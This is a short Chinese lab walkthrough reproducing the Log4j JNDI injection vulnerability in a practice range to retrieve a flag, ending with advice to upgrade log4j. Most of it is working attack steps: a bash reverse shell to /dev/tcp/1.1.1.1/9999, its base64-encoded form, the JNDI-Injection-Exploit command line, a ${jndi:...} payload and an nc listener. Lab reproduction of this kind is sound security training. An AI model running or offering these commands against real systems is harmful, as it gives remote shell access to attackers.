打开靶场
浏览器点击???,抓这个包。
使用工具JNDI-Injection-Exploit,开启默认端口1389、1099、8180以及自定义端口9999
https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
构造反弹shell指令,1.1.1.1为服务器ip
bash -i >& /dev/tcp/1.1.1.1/9999 0>&1
使用base64编码,
YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzk5OTkgMD4mMQ==
输入命令
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "1.1.1.1"
这里我使用第一个1.2.x的,获取rmi:地址,全部复制,编辑payload参数,通过工具把要输入的参数转换成url。
${jndi:地址}
开启监听
执行后查看 nc监听窗口
getshell后
执行命令即可查看flag,复现结束
漏洞规避方法:更新版本
从 log4j 2.15.0 开始,默认情况下已禁用此行为。从版本 2.16.0(以及 2.12.2、2.12.3 和 2.3.1)开始,此功能已被完全删除。